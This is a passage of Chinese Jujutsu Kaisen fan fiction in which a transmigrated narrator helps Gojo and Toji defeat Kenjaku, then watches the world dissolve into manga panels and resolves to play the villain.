「六眼」没有错过这一层咒力的波动,五条猫用香织的手浸染咒力,当作一个飞镖丢了出去,斩断了脑花的摸索。 好地狱的招数。 我嘴角一抽,行动却没停,一菜刀剁在了地面散落的血液上。 “咯吱”一声,血液发出了绝对不属于这种形态物质应该有的声音,与之并行的,是脑花扭曲的表情。 “想搞这招?门都没有。” 在这种遍布诅咒的环境里,我的感知可一点也不比「六眼」差。 我又换了两把新菜刀在手上——用诅咒化形的东西就是方便,要多少有多少。这种皇家厨子专用菜刀的锋利程度,足够压力现在的脑花了。 她抓着已经断开的手腕,露出扭曲又仇恨的目光看着我,“真没想到,你竟然会背叛咒——” “——别给她机会,掏了她的头盖骨!” 我深谙反派死于话多的精髓,用更大的声音盖过了脑花,根本不给她打嘴炮机会。 五条猫咒力封路,我的菜刀一左一右砍向了脑花的缝合线。 千钧一发之时,脑花再没有任何保留。缝合线紧紧一拉,刺入皮肤的黑色线纹向上下蔓延,瞬间铺满了她的脸,像是血管的外化,看上去相当可怕。 “叮!” 菜刀的锋刃在她的额头上留下了一串火花——竟然硬到这种程度,连我的手都一阵发麻。 她裸|露在外的脖颈也有明显的黑线,在我的感知里,香织的整个身体已经完全转化成了诅咒的姿态,成为了她大脑的外化。 浓烈的诅咒量让我都心惊胆战,对比一看,甚至是现在五条猫咒力的两倍有余。 脑花的力量有这么强的吗? 她断裂的右腕处由黑线交织,很快长出一条长刃,用力一突,就正正顶在了「无下限」之前。 好快! 要是没有特殊术式,这刀就直接穿在五条猫喉咙里去了。 一击不成,脑花却没有收势后撤,而是冷笑一声,“「无下限」——这种不是第一次出现于世的术式,真以为无懈可击吗?” 突进的刃尖蔓延出黑色的线条,迅速深入了「无下限」的壁垒之中,一瞬间,我仿佛看到他的攻击穿透了漫画分镜,从一页突破到了另一页里。 我来不及深究这个视野的奇怪,我只知道,那个线条要穿透「无下限」了! 而五条猫还完全没有接受这个即将到来的现状。 已经遍布整个空间的诅咒比我移动的速度更快,我的手一握,球形的诅咒在五条猫身前凝聚——“砰”的一声,诅咒力量炸开,冲击力推开了两人,让那锋刃只来得及擦开五条猫脖颈的皮肤。 迟来的刺痛让五条猫瞪大了眼睛,他上手一摸,在喉结下的位置,摸到了几滴渗出的血液。 “怎么……可能?”他从来不知道,「无下限」是可以这样正面突破的。 别说是他,我这个上帝视角也不知道。 芥见下下,你究竟还有多少惊吓是朕不知道的。 脑花身上那仿佛原作真人的缝合线已经铺满了全身,爆出的血管逐渐汇成了她身体的铠甲——这似乎加茂一族的术式变体? 用过的无数身体和无数术式,终究有一些被完全解析而可以随时调用了吗? 解析术式——脑花一定是唯一一个可以做到这点的人。 “完全体的「无下限」不敢说,但就你现在这样的……呵。”虬结的“铠甲”撕开了香织的外衣,脑花嗓子一动,仿佛呕吐一般的动作之后,她从嘴里掏出了一根只有一两寸长的细骨。 她手指用力一碾,骨骼瞬间成灰,散开的扬尘瞬间爆发出剧烈的咒力。 而更让人心惊的是,这股咒力和五条猫的一模一样。 我瞳孔地震,WTF—— “熟悉吧,熟悉就对了。这也是你们五条家某一任‘神子’的骨头,”那些咒力萦绕在脑花的周身,竟然模拟出了近似「无下限」的效果,“只可惜,他可没机会长到你这么大。” 「无下限」的运行需要大量的计算,对大脑是极大的负荷,通常也只有「六眼」才能经得起如此计算。 但如果能够拥有相似的咒力和对术式的足够解析,理论上来说,脑花的大脑,是有可能撑得起这种级别的计算的。 五条猫还是第一次感受到其他人在面对「无下限」时的无可奈何,甩出去的「苍」根本连脑花的身都进不了,反而把我的诅咒清理一空。 更别提脑花反手就能给他丢一发他至今用不出来的「赫」,这个精神打击绝对是全方面的。 即使脑花模拟出来的招数一样并非完全体,也绝对不能对标五条猫全盛的招数——但问题就在于,五条猫的全盛要在十几年后,这个时间带来的能力和经验鸿沟是无法在此时填补的。 从未受到过这种打击的五条猫在接招的瞬间都失去了从容,还得我的菜刀来帮他对冲这种攻击。 两面宿傩的咒纹在我身上清晰得发烫,另一只嘴在我的掌心裂开。 “特定的术式需要特定的咒力,我倒要看看是你我谁的承受能力更强。” 好歹也是个穿越专业户,那么多坑我都踩过了,我就不信脑花能掏了我的后路! 我嘴巴一张就是吃! 别人走的是战斗番热血路线,我走的是美食番品鉴路线。 「赫」的味道和「苍」完全不同,如果说「苍」是冰山熔岩巧克力,那「赫」就是不知道几倍的浓缩咖啡——苦就一个字,比我的命都苦。 所以,这是因为「赫」是「苍」的反转,所以甜味的反转就成了苦? 除了苦味之外,更加难以忍受的是一种弥漫在口腔里的腐烂味道。 或许是因为脑花运用的是死人的咒力,所以这股味道尤其明显。 我双手一拢,诅咒顿时收缩起来,帮五条猫刨开一个正面攻击的坑。菜刀也在同时就位,厚厚的诅咒用力一砸——被「无下限」挡住了我也不着急,我只管使用更多的菜刀。 谁的计算能力都有上限,我倒要看看是脑花的上限高,还是我的诅咒量大。 对视一眼,五条猫也很快接收到了我的信息——「无下限」的维持有多难,他是最清楚的。脑花那些冠冕堂皇的嘲讽,无非是想要扰乱他的心。 斗志不稳则战斗必输。 五条悟毕竟是五条悟,就算遭受了打击也迅速调整过来。 两种相同的术式近战交接,有我的不断吞噬,脑花的消耗绝对是五条猫的数倍以上。 就在这时,我突然感到背后一凉。 ——“躲开”。 大爷的声音在我的脑中响起,我几乎是不加思考地本能一扑,正恰时地躲开了背后的影刺。 不是吧! 「十种影法术」!? 芥见下下误我,你脑花这么强,还做个鬼的布局? 不直接正面硬刚,是有什么心事吗! 我反身用手臂一挡,被影子覆盖的漆黑的犬牙咬在我的胳膊上,留下了两个贯穿的血洞。影子化的「玉犬」大声地撕咬咆哮,我手指勾着地面的菜刀回砍,切掉了他们的头,才中止了这刺耳的声音。 我捂着胳膊上的血洞,「反转术式」治愈自己的同时,我还在思考——脑花用的「玉犬」简直就像是疯狗,我之后要不要去打个狂犬疫苗? 不等我再多喘一口气,脚下的影子里就冲出了一条蛇,大张的嘴将我吞噬在内。 我将菜刀的力量凝聚在手指上,双手一甩,十道没有实体的锋利就将蛇神从内部劈开。 拥有生命式神的「十种影法术」是那三个术式里,脑花唯一一个无法完全解析,只能用影子模拟的术式。但即使如此,也有不俗的实力。 扩散的影子和另外的五条骨头咒力交织在一起,形成了一种既定的生得领域,将战场进一步缩小到了几米见方的区域——脑花是想要确保我们无法躲避吗? 我们的战斗距离确实不知道什么时候开始,便越战越近,甚至到了连我这个菜鸡都能直接近战的距离——菜刀虽然也在紧密的战斗中有了突破脑花繁厚防御的迹象,但我就是有一种极其危险、又极其不好的预感。 近战要求人必须关注对手的每一个动向和身体细节——我视线一转,在脑花那被血铠中,我看到了香织那已经异化了的脸,她的五官已然不对称,像是抽象画拼接在一起,时不时还会喷出一串血刺来攻击。 我时时关注着她脸部的突袭,自然便注意到了那一左一右、完全不像出自同一个人的眼睛。 一个是和虎子相似的瞳色,另一个则猩红得异常。 我脑中的某根弦突然被挑动起来,各种线索齐刷刷地浮——我们和脑花现在的距离是多少? 四米之内的距离和近战中需要维持的和那只“眼睛”的对视! 这个故意营造出来的条件—— 卧槽! 「狱门疆」! 脑花,你TM和我玩阴的! 强都已经这么强了,还一点也不想着正面突破,是真的有什么心事吗? “赶紧退开!” 我不顾一切地大吼了一声,但为时已晚,一分钟——不,甚至不到一分钟,战斗时的大脑运作太快,「狱门疆」发动需要的是精神时间,而非是实际时间。 我身体一滞——身体内的诅咒一空,像是被某种东西桎梏了一样,甚至连力气都在这个瞬间丧失了。 不仅是我,对面的五条猫也是一样。 紧接着,脑花血铠一裂,脸中的正方体明晰、掉落,封印的力量释放——肉眼可见的某种某些东西,将我和五条猫同时捆了起来,束缚汇聚于「狱门疆」本体,将其支撑在空中。 卧槽! 兜兜转转准备了那么多,结果小丑竟是我自己。 阴沟里翻船,不对,甚至不算是“阴沟”,眼前的脑花简直就是个大峡谷——我严重怀疑芥见下下是内鬼,不论是眼前这个脑花还是后来的大爷,战力堪比木叶小强,BGM一响就是干,到底谁才是主角! 对,我好像还真的隐约听到了某种阴森诡谲的背景音乐,显然这里是脑花的主场。 我不会是气炸了所以出现幻听了吧? “两个小鬼,真以为修炼了两天就能骑到我头上来了?”脑花冷笑了一声,血铠褪去的面孔已然不似从前,过度膨胀的咒力将皮肤和血管全部撑开,肌肉也因为这股力量开始变形,甚至是开裂——右颊上的一块肉甚至已经和骨架有了脱离了架势,半挂不挂地吊在那里。 真是糟蹋了虎杖妈的面孔,现在看上去和丧尸没有任何区别。 “不会真的以为,我拿你们没办法吧?”她被我和五条猫的这一通乱拳,彻底断了原本计划成功的可能,自然是气疯了。 就算用「狱门疆」的力量锁住了我们俩,但她的“大局”已然无法改变。 简单一句话——她破防了,比我还要破防。 “被我剖心挖肺分解过的咒术师和咒灵,比你们见过的还多。我杀过‘五条神子’也豢养过。说到底,「无下限」也好、「十种影法术」也好,都不过是个术式。就算是再复杂,也有解析的头绪——我有的是时间。就你们那点对术式的粗略认知——”她看我眼神中流露出浓稠的恶意,“啊,忘记了,你马上就有一千年的时间可以在「狱门疆」里好好研究自己和彼此了。” 嘲讽是脑花最后的倔强。 别说是五条猫,就连我都受到了暴击。 我不害怕任何祓除我的意愿,我害怕的反而是「狱门疆」这种会把人困住的能力——一千年?等我回去期末所有科目都得挂。 感天动地,这个时候我最先考虑的竟然是我的期末考试。 我的老师都得泪目。 我用力转动着自己的手腕,将手表表盘转到了前面来。 “动?”我的一点动作当然没有逃过脑花的眼睛,“享受最后的时间尽力挣扎吧,「狱门疆」可不是能被内部力量打开的东西,不论是咒灵,还是——”她把视线转向五条猫,“咒术师,都不例外——不过,很遗憾,你是没有机会再去探究这一点了。” 说着,她右手一甩,断腕处的延长再次锋利起来。 我眼睛一眨,敏锐地察觉到了脑花的隐意——她并不打算把五条猫和我关在一起,她是打算杀死他的! 对啊,现在还不是13年后,脑花要做的事和我所知道的未来并不一样! “别担心,我会好好利用你的身体——没事的,没事的,我有的是时间,足够再等到下一次轮回。” 咒术界的宿命轮回——不论是御三家的能力、「天与咒缚」的诞生还是星浆体的融合,都是一个圈,在生死中不断轮回。 尤其是「六眼」、「天与咒缚」这样的特殊体质,从来没有在一个时代内同时复数出现过——一定是前一个特殊体质者死亡,才能开始下一轮的降生。 所以,在脑花没有达成自己目的之时,绝不可能让宿命中的一环被生困在「狱门疆」里。 难怪她一直在打嘴炮而不关「狱门疆」的门,原来是在这儿等着呢。 等着「无下限」的效果完全消失,再干掉五条猫——之后不会还要占据他的身体吧? 毕竟香织的这个身体,显然已经完全不能用了。 我被关进「狱门疆」里还有回旋的余地,但五条猫要是噶了,作品人气直接腰斩。 我着急地盯着表盘,看着那根细细的指针一点点地挪动,和正在朝五条猫出击的脑花一样。 “喂——!”我扬声大叫,将声音响度拉到最大,计算着时间进行了最后一波努力,“说是重启轮回,只有悟的话,只怕不够重启吧!” 御三家的三种术式在宿命中屹立不倒,自然有其原因。 脑花·破防限定版,理智-1-1中,她丝毫不吝啬地放着狠话,“放心,要不了多久,我就会把「十种影法术」和「赤血操术」一并送下去的。” 有你这句话,我就放心了。 表盘的时间终于走到了倒计时的地步。 “10、9、8……” 我故意倒数出声,果然引来了脑花怀疑的视线。她先是警惕了一瞬,在确认我仍然被结结实实地捆在「狱门疆」效果下后,她气息稍松,“这是在帮你新朋友即将被夺走的生命,倒计时吗?还是在给自己的自由和未来倒计时?” 6—— “确实,我的倒计时里,确实包括了‘新朋友’和‘被夺走的生命’,也包括了‘自由和未来’,”我咧开嘴,心里默默数着那后面的几秒,“只不过,是我的‘新朋友’,和你‘被夺走的生命、自由和未来’。” 4—— 脑花眉头一皱,对我的行为产生了怀疑。 她的疑心,向来是宁信其有、不信其无。 3—— 她毫不犹豫地举起右臂,再没有任何的拖沓,刃尖直直刺向了五条猫! “砰!”墙体被蛮力冲开,脑花交织出的生得领域也在同一时间被撕裂,根本没有给来人留下一点迟滞。 脑花此时也是不管不顾了,想要轮回重启,首先就必须要杀死已经窥探到真相门槛的五条猫! 但术式可以解析、咒力可以累积,身体素质却无论如何都无法改变——她残影般的行动,在更快的速度里,慢得就像蜗牛爬。 “咔咔——!” 两声相似的声音重叠在一起,「狱门疆」本体的外壳和头盖骨破裂的声音竟是这样的相似,相似到分不清彼此。 五条猫后仰着头,看着那根黑色的刃尖就近近地贴在了他的瞳孔前——这或许只有最后几厘米、甚至是几毫米的距离,可它却再也没有了后继之力。 脑花的脑壳一声巨响,爹咪闪亮登场! 果然,他实战压力下的速度绝不可能比测试慢,爱的力量真伟大! 我都还没有数完数字,他就已经冲入了战场。「天逆鉾」精准地在一秒内同时穿过「狱门疆」,又在同一路径上,切开了脑花的头盖骨。 爹咪另一只手直接上,生生将裂开的头盖骨掰了下来,自上而下的俯视里充满了轻蔑和愤怒,“敢打早春的主意,还想杀老子的崽,我看你真是嫌命长了!” 真·掀起你的头盖骨。 爹咪不愧是「天与咒缚」,他的速度甚至要比「狱门疆」力量的判定还要快。香织的身体已经被他踩在脚下,脑花的本体也已经被他舀在掌内,我才感觉到身上的束缚松懈,力量在体内重新开始循环。 呼——安全感,棒! 在这么快的行动里,爹咪竟然还记着我要“抓活的”的需求。即使赤手掀头盖骨的操作略显粗暴,但他的「天逆鉾」仍是沿着那条已经看不清的缝合线,整整齐齐将其切开的。 虽然——脑花在他手里,似乎有随时被捏爆的风险。 可别真的给我捏爆了,这可是历经千辛万苦才得来的战利品,我差点把自己都搭进去了。必须要有所收获。 我果断一脚踹开被扎了个透心凉的「狱门疆」,赶紧去把脑花接了过来。别说,还真别说,这脑花果然抽象,这个触感就像摸到了一层滑腻的鼻涕。 有点恶心,尤其是我的指尖还得发点力才能保证脑花不会滑出去,甚至,我还得刻意捏住它的嘴,不然他长着那张诡异的小嘴,尖叫嘶吼,还在读着乱七八糟的咒语——能想象这个画面吗? 理智值狂掉。 五条猫将那没有力量支撑的锋刃扫成了灰,咒力在他体内重新运行,带动着他的眼睛也重新恢复了光泽。 刚才那几秒失去一切力量的感觉,一定令他记忆犹新。 “怎么样,‘神之子’当凡人的感觉,如何?”我好奇地问。 “如果抛开这个恶心东西威胁的话——其实还不错,”五条猫摸着下巴仔细思考,“很轻、各种感觉都很轻。” 他的咒力和术式实际上对人来说,是一种很大的负担。 当咒力受阻之时,反而会给人以如释重负的轻松——只不过,这一切都得建立在安全感的基础上。 所以五条猫表达中才会有特定的前提。 他弯下腰、撅起屁股,用那双恢复闪亮的眼睛仔细观察着脑花。 爹咪捂脸,“你能不能赶紧把早春的衣服换下来,我看着膈应。” 五条闻言,手指勾起一缕假发咬在嘴上,一秒三次快速眨眼,兰花指放在脸边,腰一扭不顾衣服已经被撕裂的部分,用力带动着裙摆,同时掐起嗓子,“怎么了——人家不美腻吗!” ……好脸也不能这么用。 我和爹咪同时露出了一言难尽的眼神,不由自主地后退了一步。 这座小医院,已经完全容不下五条猫这尊大佛了。 当然,就算此时爹咪再嫌弃,排除了隐患后的他也是高兴的——爹咪获得了安心,我获得了脑花,五条猫获得了乐子,大家都有美好的未来。 “但是说起来,你的诅咒还真是和这个东西一模一样。所以——加茂宪伦果然就是你的创造者?”五条猫提了一句正事。 我愣了一下,“哈?” 诅咒一样吗? 我的诅咒很杂,但再杂的东西也会被融合起来,汇成一物。 但我诅咒的终点,应该是大爷——是两面宿傩的咒力,至少是同系列的咒力。 说我和脑花的咒力相同,就等于是说,脑花和大爷的咒力相同…… 不是,我之前只是开玩笑,脑花不会真是和大爷有什么亲缘关系吧! 就算是有亲缘关系,咒力能完全一样吗? 我一瞬间小脑都萎缩了,无数狗血伦理剧本在我面前闪过——现在的咒术界尚有禅院直哉想纳真希真依两个堂妹为妾,很难想象以前的咒术界关系有多炸裂。 我不由自主地疯狂脑补。 也不知是不是我的思潮波及到了大爷的奇思妙想——我的掌心毫无征兆地、甚至连我都没有一丝预知地张开了血盆大口。 “啊呜”一声,把脑花整个吞了下去。 一股腥味瞬间沿着我的味觉冲击上了大脑。 我在干什么? 我在—— 生!吞!脑!花! 啊——!!! 第27章 两面宿傩——完全不参团, 结果最后了跳出来抢人头! 而且,还是用我的身体做介质在这里抢人头,更有甚者是用这样恶心的方式——脑花刺身, 从未设想过的道路。 我的震惊蔓延在爹咪和五条猫的身上, 大概是谁也没有预料到这样的发展。 五条猫把脑花当反派BOSS,还等着他来满足自己的好奇心,而爹咪则是被我专门嘱咐过, 要抓活的、有研究价值。 结果我这刚刚把脑花接过来,就直接给生吞了。 小丑竟是我自己。 “你可还真是不挑口。”五条猫嘴角一抽,一下子就get到了刚才另外两人对他女装发|骚时的心情。 我的第一反应,就是想把脑花吐出来, 毕竟我需要的是脑花的计算能力——我需要活着的脑花。 我伸另外一只手, 就想要从掌心的嘴里把脑花抠出来。 但不知是不是宿傩大爷对我早有防备,我手指还没有放上去,大爷的嘴就已经从掌心消失。 可恶! 我和大爷毕竟是有某种程度的共感,我总不能掏自己的喉咙吧? 给我在这里卡BUG。 于是我的下一个反应,便是想要质问大爷, 什么时候变得这么不挑食了——上次对真人不是很嫌弃吗? 可这个原本随心而动的力量, 却突然在某一秒内,发生了阻碍——或者说, 是异变。 一层薄薄的咒力成膜隔绝在了我的眼球上, 世界天翻地覆,我视野当中的一切都发生了变化。 我没有内视到大爷的领域吗? 不, 我内视到了, 我甚至看到了大爷的轮廓和他脚底骷髅堆砌的王座——但, 和之前看到的每一次都不一样。 这不是一个正常的视野, 更像是由纯粹线条组成的画面——对, 像漫画,而且还是线稿的那种。 甚至,这个画面都不能算是三维立体,而像是被叠起来的图层。 最下面的图层是大背景,往上是重要的标志建筑——比如大爷的骷髅山王座,再往上就是人物——最让我无语的是,人物和自己的衣服、发型的图层是一上一下分开的,简直就是盗版网站劣质贴图游戏。 最奇特的是,甚至连对话框都有一个单独的图层——没错,宿傩大爷似乎是依稀看到了我的样子,发出了嘲讽。 ——「老子要做的事,还不用和你打报告。」 他可能很凶狠,只可惜,那凶狠的语气被文字吞噬掉了——他的嘴巴仿佛一帧一帧地动,但却没有发出声音,只是叠加了对话框的图层。 我揉了揉眼睛,甚至给了自己一巴掌,都没有从这种奇怪的视野里清醒过来——不是术式效果,而是漫画效果! 这一幕简直似曾相识,有过穿越经验的我曾经见过类似的画面——这种画面褪色、线条窜动的样子,就是次元维度转化的标志。 代表着我的视野状况从二次元的同级视野,转化成了有三次元看待二次元时的漫画视野。 可之前的每一次,我的穿越返回程序都是在死亡之后自行启动的,也即说…… 我死了!? 卧槽,就因为大爷吃了个口脑花,我就直接死翘翘了? 我不由自主地大叫了一声,“有没有天理啊,脑花是有毒吗!” 字面意义上,他不会真是有毒,把我给毒死了吧? 我瞳孔地震,下意识想要确认这种情况。 眼前的图层随着我的意志变化而褪色成线条,在交错中重新绘制出了新的画面。 漫画形象对我来说比实体形象更加好认——这就是爹咪和五条猫。我不知道在他们的眼里,现在的我是什么样的,也不知道他们究竟有没有发现我的异常。 但他二人同时微皱的眉头似乎说明了一些问题。 对话以文字对话框的方式贴在某一个图层上,我对日语的熟悉,还没有到这种可以快速无障碍阅读的程度,我需要反应时间。 而同时,我也不知道该如何行动,地面也是由线条组成的一张画,我都不知道自己究竟算是站在画面里,还是图层上。 但这样突如其来的变故,却猛然戳中了我的另一个想法。 我赶紧低头,随着视线移动,我是身体也做出了回应——在3D立体的身体里,是清晰的线头在接入我的胃肠结构。 而且这个线条形状,一看就是脑花! 我来不及多想,伸手进去赶紧掐住了这些线头,一顿乱卷将脑花的线条全部包裹了起来,最后的线头,我找了体内的大爷手指谷缠紧。 这样把脑花从我身体里掏出来,应该就能保证它的活性了吧? 我用力地揪住脑花向外拉,大力出奇迹,想要扯断那些已经和我内脏的某些地方连接起来的地方。 但突然,一只单薄的手抓住了我的手腕,我抬头,只看到了爹咪贴近的轮廓。 没想到,我有一天竟然会用“单薄”来形容爹咪,简直可笑。 可是,还有什么能比“单薄”更好地形容纸层呢? ——「你在干什么!」 放大的字体差点冲到我脸上,字体简直比爹咪还要高,足可见他的声音大概是很大的。 只是我完全听不到。 等等,我怎么还没有离开这个世界?! 脱离虽然需要时间,但不会这么长,也不会让这个世界的人有这么多反应时间。 我这才反应过来,虽然视野褪色成了极其接近三次元视角,但我实际上并没有返回我的世界。 这是怎么回事! 以前可从来没有过这样诡异的事情? 我有些小慌。 是因为,脑花的毒不够,我没有死透? 还是,异相的契机干脆就不是死亡。 那这不会意味着,我真的要困在这样的环境里吧? 这可比任何反派对我的威胁都大多了。 没有再强硬地扯动脑花,我捂住了自己的头,大脑飞快地运转,根本就没有顾及爹咪和五条猫的反应,也没有去辨认对话框上的文字。 突然,一个空灵虚幻的声音从仿佛很远、很高的地方传来。 是声音! 是这个世界不应该有的声音! “谁在说话!” 我大声地质问。 不会是什么空间主神之类的吧? 走错片场了啊喂! 我神经质般地左右环视,眼前的图层中仿佛出现了某种3D建模——桌椅板凳和书包,还有图书馆大门,简直眼熟得可怕。 “……■■、■■——!” 声音一点点变大、音调一点点增强,知道我听清了每一个字。 是我的名字? 有人在叫我的本名? 这个世界的任何人都不会知道的,我的名字。 而且这个声音,还熟悉得可怕—— 好像是我基友? 是我的幻觉吗? “不是幻觉,你个笨蛋!”基友的声音确认,这个语气绝对是他,“时间紧迫,我长话短说,你的身体之所以会失禁性穿越,本质上不只是因为你,而是因为两个次元之间的缝隙变窄了,我和你说过的最严重的穿越后果之一!” 我记得这个——最一开始,我和基友产生了“要建立一个次元穿越司”这样的中二机构的想法,就是因为我在过去的穿越中已经穿出了问题。 世界和世界之间都是相对独立的,次元和次元之间更是应该有不可逾越的沟壑,我们时常听到的作品联动破坏了世界与世界的独立,而穿越更是每次都会留下一些“穿越垃圾”填入“沟壑”之中。 久而久之,世界与世界之间的独立性降低,次元之间的分割线会模糊。 维度平级的世界之间被打通充其量也就是世界融合,两部漫画合并成综漫;真正可怕的是次元沟壑被填补的后果。 二次元的超自然力量波及到三次元,绝对是毁天灭地的问题。 有些东西看看漫画也就算了,真要是发生在现实世界…… 所以没有足够的准备,我真的是一点COS的东西都不敢戴在身上,那个谷子也真是用久了,没有摘下来。 “所有的世界里,一定不止你一个穿越者,但你的体质一定是最神经的。你在穿越世界,世界也在穿越你。” 听起来怪怪的,但总体意思应该就是说,这次的穿越不是我的问题,而是已经极不平稳的世界,找到了我。 “那我怎么办!”我一点儿也不想自己生活的世界被影响。二次元归二次元,但我真的没打算让所有人跟我一起搞刺激的,“救救孩子!” 基友既然想办法联系到了我,一定有解决办法的吧! 我翘首以盼,但基友却没有立时给出答案,“我会想办法继续搞清楚——但在那之前,你必须尽可能让你所在的世界保持平衡!” “哈!?” 不是,你别说得那么玄学啊,什么叫保持平衡,保持什么的平衡!? 能不能直接说人话。 “别让它彻底崩坏,不然它就要融到我们的世界了。” “崩坏,怎么就算是崩坏?” 我怎么感觉,现在的图层世界已经是出了问题后的世界。 抓在我胳膊上的手很快连颜色都褪下,只留线条,没有一点力度,被我轻易地甩开——甚至可能不是甩开,而是我的胳膊直接穿了过去。 就像我能够轻易摸到的、身体内的脑花本体和一根线条手指。 他们不属于我的次元,或者说,我不属于这个次元。 所以才会这样错位。 基友的声音好像消失了,我快速思考着补救方法——这个诡异的变化是什么时候开始的?以什么为契机开始的? 既然说了要维持平衡,就说明原本也是有个平衡在的,某个特定的行为打破了这一切。 异常之前,我所做的最后一件事,就是吞掉了脑花。 所以,问题在脑花身上? 什么样的东西才会在消失后导致世界崩塌的—— 等等,不要告诉我脑花那个东西是这个世界的锚点。究竟是我有问题,还是你芥见下下有问题——再一次,究竟谁才是主角! 第28章 主角的牌面, 既没有给本传主角虎子,也没有给前传主角忧太,甚至不是人气TOP的五条猫, 哪怕是给了两面宿傩呢, 那也算是个诅咒之王,怎么就给到了脑花? 咒术回战(×) 脑花本纪(√) 想不通,我真的想不通。 但事实不以我的意志为转移, 大爷刚刚摘了脑花的桃子,现在我竟然要把那个掉san东西再捞回来。 我真的是神经病本病。 我一边暗自骂娘,一边打算不顾纸片爹咪和纸片五条猫的阻拦把脑花扯出来,细心呵护——谁也不能阻拦我守护家园。 谁料我一低头, 腹腔里空空如也, 刚才被我缠好的脑花图层,怎么……无了!? 我那么大一个脑花呢! 我瞪大了眼睛,四下寻找。 不在纸片爹咪手上、也不在纸片五条猫手上,他们俩甚至还保持了更大程度的惊讶,几乎是瞳孔地震。 图层甚至还在他们俩的头顶上画了感叹号, 生怕我get不到他们的震惊。 我一点也不想知道我在他们眼里是个什么模样。 我回溯思考——等等, 不会是刚才抓着脑花图层甩开爹咪图层的时候,把脑花甩出去了吧? 大爷的手指谷上还连着脑花的线条, 蔓延到了图层外不知什么地方。我用力往回揪, 却听到一阵清晰的“撕拉”声。 眼前的背景图层在线条的拉扯中,被撕开了一道口子——不对, 这口子不仅仅来源于图层, 甚至包括了牵扯到了图层之外的空间。 图层之外, 那就是二次元之外了——也就是说, 以刚才次元交接的状况, 脑花是直接被我甩到了二次元以外的地方。 哦吼,完蛋! 二次元之外,那不就是三次元了吗? 刚才光顾着和基友交流了,完全没有多注意这个问题! 等等——基友突然没了声音,不会就是被脑花砸脸了吧? 脑花把他砸晕了? 怎么办怎么办? 强行拉回来的话,可能会导致更大的次元裂痕。 我呼吸急促起来,前所未有的困境强迫着我提速思考,阴招、奇招都不是问题。只要能管用,哪怕让我去当脑花我也认了。 啊——我当脑花。 对啊! 我当脑花! 世界意识的调性我最清楚了,人不是重点,人设才是重点。 不就是角色扮演吗、不就是cosplay吗,专业对口,我门儿熟。 我开始给自己催眠,反正都已经在咒灵阵营了——正所谓黑化强十分,我要是反派,肯定牛B坏了。 就在这个理念在我脑中扎根的同时,一种诅咒充盈在身体里的感觉重新占据了上风。我一脚踏在地面上突然真实了起来,薄薄的图层迅速压实,线条中重新充盈起颜色,二维的世界一转,就重新搭建起了3D空间。 爹咪和五条猫也重新立体了起来,他们的呼吸声重新传入了我的耳朵。 有声儿! 我从来没觉得呼吸声能有这样动听。 刚才被我撕开的背景图层裂口,果然表现在了这个世界——爹咪和五条猫的身后,医院墙壁塌了一半,上下两层的空间都随之暴露在月光之下。 只是小小的一个裂口就有如此清晰的反应,我暗自庆幸自己没有更用力地拉扯那根连着脑花和我肚子里金属谷子的线条。 暴露在外的空间招来了原本在下面楼层清理诅咒的咒术师,原本三级的清理任务陡然升级,甚至到了比先前的灰原和七海还危险的地步。 我的牌面可比真人大多了。 浓烈的血腥味钻入了我的鼻腔。 我低头,衣服浸染的血几乎能直接拧出大量的液体来,我的手空捧着一滩好像甚至还带着某种肉块的血液,一松手,便洒了一地。 难怪是爹咪要抓我的手臂阻止我,原来图层之外,我也在搞重|口的活儿。 呕——! 我强自忍者,咒灵体强烈的感知能力让我有些反胃。 被四双有不同意味的眼睛盯着,我看似一本正经端着架子,实则疯狂思考。黑化总要有原因吧,反派也得有目的吧——我、我什么都没有。 我跳反的人设,单薄得可怕,根本经不起推敲。 要不,就干脆直接全权接了脑花的班? 脑花是想要做什么来着——全民进化。 可那只是外化表现,很多细节和一些内在原因只有脑花自己知道。 但我并没有真的吸收掉脑花的诅咒,自然也就根本没有机会读取脑花的记忆。 好吧,其实多少还是吸收了一点点,但那一点点「赤血操术」解析的记忆,专业完全不对口。 我深吸了一口气,靠编,全靠我编。 “咒灵!” 我还没有来得及说话,那两个不明真相的咒术师就率先点破了我的身份——或许是因为历经异常导致我精神紧张,诅咒在我体内的翻动导致我的咒灵性异常清晰。 他们可没有五条猫的「六眼」能够看到我更深的本质,也没有爹咪那超强的感知,能够意识到我和常规咒灵的区别。 “这里的诅咒已经形成了咒灵吗!”俩咒术师中高个子更加急促地开口,言语中有些不可思议,“难怪总部要提前任务,果然是发现了端倪。” 紧接着,矮个子的那个注意到了五条猫,后者没有遮盖自己的眼睛,「六眼」的特征足以让咒术界的每一个人都一眼认出他来,“五条君,你也接到了这个任务?” 虽然很少见,但当出现紧急状况时,总监部确实会追加一些咒术师来补强。 清理诅咒便祓除咒灵,任务的升级显然在这种“紧急情况”的范畴中。 他们从下层跳了上来,身上的咒力翻动,仿佛能够随时冲上来和我拼命。 这俩人还挺有责任感的,不像是脑花安排来的钉子。 瞧,他们两个还站到了爹咪身前,招呼着让爹咪这个“没有咒力的普通人”赶紧退到安全的地方去。 “无关者赶紧退下,这里不是普通人应该插手的地方。” 讲个笑话,爹咪是普通人。 爹咪眉毛一挑,掌心里明显还残留着我的血液,大概是刚才阻止我“自残”时沾染上的。 他摊开手往后退了一步,给了我一个询问的眼神。 他应该是在问我要不要溜,毕竟我的咒灵身份怎么都是去除不掉的。 五条猫这个黑羊能掺和进来,却不代表着咒术师真的能和咒灵和平共处。 确实,爹咪给我提供了一条新思路。 我现在仓促黑化,完全没有想好给自己安排个什么剧本,现在借着咒术师的势撤走也未尝不可。 但五条猫可不好糊弄,他完全没有理会那两个咒术师的话,一心一意地看着我问,“你刚才说的崩坏是什么意思?你刚才到底为什么呼救?” 啊? 刚才的图层世界,没有阻隔我的声音? 那些可都是我和基友说话的词儿。 他紧皱着眉,瞳孔中倒映着我的面孔,“你吸收了加茂宪伦?还是……那个东西融入了你的精神?你们的诅咒,已经完全混在一起了。” 废话,那个线条都融入我的内脏里了,能不混吗? 但……融合,真是个不错的词。 还得是五条猫,随便一句话就点醒了我。 多好的表演鸠占鹊巢的机会。 “加茂宪伦!?”那两位咒术师听到那个名字大惊失色,“五条君,你在说什么,那个人不是早就死了吗!” 可见,脑花曾经给咒术界带来多么重要的影响。 我转动眼睛,极强的感知力蔓延到每个人的身体之中。 那两个咒术师虽然不像七海灰原只是学生,但也绝对不算强,五条猫的状态很差,但却隐约有自愈的倾向。 自愈倾向! 我脑中灵光一闪,一个剧本快速勾勒出大纲。我营业状态全面打开,压低嗓音模仿着大爷沙哑的语调,“你们这帮庸才都没死,老子怎么会死在你们前面?” 